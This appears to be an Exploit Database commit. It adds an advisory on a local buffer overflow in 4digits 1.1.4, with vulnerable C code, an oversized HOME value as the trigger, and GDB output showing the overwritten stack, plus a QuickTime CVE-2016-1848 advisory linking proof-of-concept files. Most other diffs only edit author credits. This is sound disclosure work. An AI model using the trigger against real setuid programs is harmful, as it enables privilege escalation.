DB: 2016-05-20

liuelves · May 20, 2016 · a447a01 · a447a01
1 parent feb7c15
commit a447a01
Showing 24 changed files with 1,944 additions and 1,231 deletions.
diff --git a/files.csv b/files.csv
diff --git a/platforms/linux/dos/39842.txt b/platforms/linux/dos/39842.txt
@@ -0,0 +1,140 @@
+4digits 1.1.4 Local Buffer Overflow Privilege Escalation ( if setuid/setgid )
+
+Discoverd by N_A , N_A [at] tutanota.com
+Downloaded and tested upon Kali Linux
+
+Vendor has been notified.
+
+
+Description
+-------------
+
+4digits is a guess-the-number puzzle game. It's also called Bulls and Cows, and in China people simply call it Guess-the-Number. The game's objective is to guess a four-digit number in 8 times.
+
+https://sourceforge.net/projects/fourdigits/
+
+
+Vulnerability
+--------------
+
+4digits version 1.1.4 and possibly earlier versions suffer from a buffer overflow vulnerability where possible code execution can occur and privileges can be escalated if this is setuid/setgid.
+
+The vulnerability is found within the 4digits-text binary version of the game.
+An environment variable is not checked thoroughly before it is passed to the function save_score() when a user wins at the game. An attacker may be able to execute arbitary code:
+
+4digits-text.c:
+
+/* save current score in the score file */
+void save_score(const int time_taken) {
+    time_t tm = time(NULL);
+    struct tm *today = localtime(&tm);
+    char tmpbuffer[129];
+    today = localtime(&tm);
+    char appdata_dir[4096]; //XXX why _PC_PATH_MAX is only 4?  <----- The buffer we over flow
+    const char *score_filename = "4digits.4digits.scores";
+    strcpy(appdata_dir, getenv("HOME"));    <------ Collecting "HOME"
+    strcat(appdata_dir, "/.4digits/");
+    char *scorefile = (char*)malloc(strlen(appdata_dir) + strlen(score_filename) + 1);
+    if(!scorefile)
+        err_exit(_("Memory allocation error.\n"));
+    strcpy(scorefile, appdata_dir);      <------ Vulnerability here
+    strcat(scorefile, score_filename);
+
+
+The save_score() function is called when the user successfully wins at the game and this is when the vulnerability becomes active, as per example below:
+
+First, set the HOME variable as below
+
+$ export HOME=`perl -e 'print"A"x5100'`
+
+Then , load the game into GDB ( if you want to debug it in real time )
+
+$ gdb 4digits-text
+GNU gdb (Debian 7.10-1+b1) 7.10
+Copyright (C) 2015 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "i586-linux-gnu".
+Type "show configuration" for configuration details.
+For bug reporting instructions, please see:
+<http://www.gnu.org/software/gdb/bugs/>.
+Find the GDB manual and other documentation resources online at:
+<http://www.gnu.org/software/gdb/documentation/>.
+For help, type "help".
+Type "apropos word" to search for commands related to "word"...
+Reading symbols from 4digits-text...done.
+(gdb) run
+
+
+To activate the bug you must run the game and then win/guess the right number:
+
+
+(gdb) run
+Starting program: /home/N/4digits-1.1.4/4digits-text 
+Input a 4-digit number:1234
+2A0B       7 times left.
+Input a 4-digit number:7934
+1A1B       6 times left.
+Input a 4-digit number:8235
+3A0B       5 times left.
+Input a 4-digit number:8236
+3A0B       4 times left.
+Input a 4-digit number:8239
+3A0B       3 times left.
+Input a 4-digit number:8237
+4A0B       2 times left.
+You win! :) Used 120 sec.
+
+Program received signal SIGSEGV, Segmentation fault.
+__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
+50  ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S: No such file or directory.
+
+
+(gdb) i r
+eax            0x0  0
+ecx            0x1  1
+edx            0x5  5
+ebx            0x13f6  5110
+esp            0xbfffd424  0xbfffd424
+ebp            0xbfffe4f8  0xbfffe4f8
+esi            0x0  0
+edi            0x41414141  1094795585
+eip            0xb7e854b6  0xb7e854b6 <__strlen_sse2_bsf+22>
+eflags         0x10287  [ CF PF SF IF RF ]
+cs             0x73  115
+ss             0x7b  123
+ds             0x7b  123
+es             0x7b  123
+fs             0x0  0
+gs             0x33  51
+
+
+(gdb) backtrace
+#0  __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
+#1  0x08048f8f in save_score (time_taken=1094795585) at 4digits-text.c:183
+#2  0x41414141 in ?? ()
+#3  0x41414141 in ?? ()
+#4  0x41414141 in ?? ()
+#5  0x41414141 in ?? ()
+#6  0x41414141 in ?? ()
+#7  0x41414141 in ?? ()
+#8  0x41414141 in ?? ()
+#9  0x41414141 in ?? ()
+#10 0x41414141 in ?? ()
+#11 0x41414141 in ?? ()
+#12 0x41414141 in ?? ()
+#13 0x41414141 in ?? ()
+#14 0x41414141 in ?? ()
+#15 0x41414141 in ?? ()
+#16 0x41414141 in ?? ()
+#17 0x41414141 in ?? ()
+#18 0x41414141 in ?? ()
+#19 0x41414141 in ?? ()
+#20 0x41414141 in ?? ()
+#21 0x41414141 in ?? ()
+#22 0x41414141 in ?? ()
+
+
+By N_A , N_A [at] tutanota.com
diff --git a/platforms/osx/dos/39839.txt b/platforms/osx/dos/39839.txt
@@ -0,0 +1,68 @@
+#####################################################################################
+
+Application: Apple Quicktime
+
+Platforms: OSX
+
+Author: Francis Provencher of COSIG
+
+Website: http://www.protekresearchlab.com/
+
+Twitter: @COSIG_ @protekresearch
+
+CVE-2016-1848
+
+#####################################################################################
+
+1) Introduction
+2) Report Timeline
+3) Technical details
+4) POC
+
+#####################################################################################
+
+===============
+1) Introduction
+===============
+
+QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.
+
+(https://en.wikipedia.org/wiki/QuickTime)
+
+#####################################################################################
+
+============================
+2) Report Timeline
+============================
+
+2016-03-14: Francis Provencher from COSIG report issue to Apple security team;
+2016-03-21: Apple security team  confirmed this issue;
+2016-05-17: Apple fixed this issue;
+
+https://support.apple.com/en-us/HT206567
+#####################################################################################
+
+============================
+3) Technical details
+============================
+
+This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
+
+User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
+
+The specific flaw exists within the parsing of invalid data in the mdat atom. An attacker can use this flaw to read outside the
+
+allocated buffer, which could allow for the execution of arbitrary code in the context of the current process.
+
+#####################################################################################
+
+===========
+
+4) POC
+
+===========
+
+http://protekresearchlab.com/exploits/COSIG-2016-19.mov
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39839.zip
+
+###############################################################################
diff --git a/platforms/php/webapps/12387.sh b/platforms/php/webapps/12387.sh
@@ -1,7 +1,7 @@
 #
 # WebEssence 1.0.2 Multiple Vulnerabilities
 #
-# Bugs found by white_sheep, R00T_ATI and epicfail
+# Bugs found by white_sheep, r00t and epicfail
 # for Debug|Track session @ Backtrack|italia community conference
 # www.backtrack.it
 # 

diff --git a/platforms/php/webapps/12643.pl b/platforms/php/webapps/12643.pl
@@ -11,7 +11,7 @@
 #
 #
 # Example:
-# [simone@simons Advisories]$ hybris chillycms.hy
+# [user@user Advisories]$ hybris chillycms.hy
 # Searching Username... :
 # admin
 # Searching MD5... :

diff --git a/platforms/php/webapps/17613.php b/platforms/php/webapps/17613.php
@@ -22,10 +22,7 @@
         FIX: Upgrade to version 3.8.5
 
  	Bug found by: IHTeam
-	Simone `R00T_ATI` Quatrini
-	Marco `white_sheep` Rondini
-	Francesco `merlok` Morucci
-	Mauro `epicfail` Gasperini
+
 	For GetShopped as their security auditors
 
  	This code has been released under the authorization of GetShopped staff.

diff --git a/platforms/php/webapps/2087.php b/platforms/php/webapps/2087.php
@@ -1,7 +1,6 @@
 #!/usr/bin/php -q -d short_open_tag=on
 <?
 echo "vbPortal 3.0.2 <= 3.6.0 Beta 1 Remote Command Excution \r\n";
-echo "By R00t[ATI] Mail : havoc1988 [at] gmail [dot] com \r\n";
 echo "Thank you Minus-Power \r\n";
 echo "Thank you rgod for your clear samples \r\n";
 echo "site: http://www.rootshell.net \r\n\r\n";

diff --git a/platforms/php/webapps/28863.txt b/platforms/php/webapps/28863.txt
@@ -1,5 +1,3 @@
-source: http://www.securityfocus.com/bid/20752/info
-
 MAXdev MD-Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 
 
 An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

diff --git a/platforms/php/webapps/29676.txt b/platforms/php/webapps/29676.txt
@@ -1,5 +1,3 @@
-source: http://www.securityfocus.com/bid/22728/info
-
 Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
 Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

diff --git a/platforms/php/webapps/29677.txt b/platforms/php/webapps/29677.txt
@@ -1,5 +1,3 @@
-source: http://www.securityfocus.com/bid/22728/info
-
 Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
 Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

diff --git a/platforms/php/webapps/29678.txt b/platforms/php/webapps/29678.txt
@@ -1,5 +1,3 @@
-source: http://www.securityfocus.com/bid/22728/info
-
 Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
 Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

diff --git a/platforms/php/webapps/4125.txt b/platforms/php/webapps/4125.txt
@@ -8,7 +8,7 @@
 # Critical   Level : Dangerous
 # Site:      http://sourceforge.net/projects/webdev-webchat/
 # Download:  http://downloads.sourceforge.net/webdev-webchat/webchat-078.zip?modtime=1046649600&big_mirror=0
-# Author:    R00T[ATI]
+# Author:    r00t
 # Contact:   r00t.ati@gmail.com - http://inclusionhunter.altervista.org/index.php
 #
 #########################################################################

diff --git a/platforms/php/webapps/4329.txt b/platforms/php/webapps/4329.txt
@@ -13,8 +13,6 @@ http://www.impliedbydesign.com/ibd-micro-cms-static-content-manager.html
 # Download:  http://www.impliedbydesign.com/apps/microcms/microcms.zip
 # Demo site:
 http://www.impliedbydesign.com/micro-cms-content-management-demo.php
-# Author:    R00T[ATI] of notsec
-# Contact:   r00t.ati@notsec.com - http://www.notsec.com
 #
 #########################################################################################
 

diff --git a/platforms/php/webapps/4342.txt b/platforms/php/webapps/4342.txt
@@ -11,8 +11,6 @@
 # Remote:    Yes
 # Site:      http://www.wsdeluxe.com/nmdeluxe/
 # Download:  http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&big_mirror=0
-# Author:    R00T[ATI] of notsec
-# Contact:   r00t.ati@notsec.com - http://www.notsec.com
 #
 #########################################################################################
 

diff --git a/platforms/php/webapps/4378.htm b/platforms/php/webapps/4378.htm
@@ -56,7 +56,7 @@
 ________________________________________________________
 
 All notsec.com members;
-R00T[ATI] for testing;
+r00t for testing;
 ________________________________________________________
 
 # milw0rm.com [2007-09-08]
diff --git a/platforms/php/webapps/4443.txt b/platforms/php/webapps/4443.txt
@@ -12,8 +12,6 @@
 # Remote:    Yes
 # Site:      http://www.clansphere.net/
 # Download:  http://sourceforge.net/project/showfiles.php?group_id=95430
-# Author:    R00T[ATI] of IHTeam
-# Contact:   r00t.ati@ihteam.net - http://www.ihteam.net
 #
 #########################################################################################
 

diff --git a/platforms/php/webapps/4449.txt b/platforms/php/webapps/4449.txt
@@ -9,8 +9,6 @@
 #
 # Class:     SQL Injection  # Found:     22/09/2007 # Remote:    Yes # Site:      http://pfa.netsliver.com/
 # Download: http://pfa.netsliver.com/download/download.php?Fichier=pfa-v6.tgz
-# Author:    R00T[ATI] of IHTeam
-# Contact:   r00t.ati@ihteam.net - http://www.ihteam.net
 ##########################################################################################
 
 

diff --git a/platforms/php/webapps/4817.txt b/platforms/php/webapps/4817.txt
@@ -4,8 +4,6 @@
 #
 # Class:     SQL Injection  # Found:     30/12/2007 # Remote:    Yes  # Site:      http://w-agora.net
 # Download:  http://sourceforge.net/project/showfiles.php?group_id=3413
-# Author:    R00T[ATI]
-# Contact:   r00t.ati@ihteam.net - http://www.ihteam.net
 #   #########################################################################################
 
         Exploit :

diff --git a/platforms/php/webapps/7780.pl b/platforms/php/webapps/7780.pl
@@ -6,7 +6,7 @@
 # by Osirys
 # osirys[at]live[dot]it
 # osirys.org
-# Greets: HaVoC, x0r, jay, BlackLight
+# Greets: r00t, x0r, jay, BlackLight
 # lol at athos
 
 # --------------------------------------------------------------

diff --git a/platforms/php/webapps/9407.txt b/platforms/php/webapps/9407.txt
@@ -9,8 +9,6 @@
 # DORK:      "This site is powered by CMS Made Simple version 1."
 # Site:      http://www.cmsmadesimple.org/
 # Download:  http://s3.amazonaws.com/cmsms/downloads/4033/cmsmadesimple-1.6.2-full.tar.gz
-# Author:    R00T[ATI]
-# Contact:   r00t.ati@ihteam.net - http://www.ihteam.net
 ##########################################################################################
 
 Vulnerability:

diff --git a/platforms/php/webapps/9425.sh b/platforms/php/webapps/9425.sh
@@ -4,7 +4,7 @@
 #       Found by white_sheep on 11/08/2009
 #       Contact: sheewhite@googlemail.com - https://www.ihteam.net
 #       Need magic_quote_gpc Off for RCE and LFI
-#       Thanks to R00T[ATI]
+#       Thanks to r00t
 #
 #               PASSWORD RESET:
 # http://localhost/gazelle/renew.php?user=[username]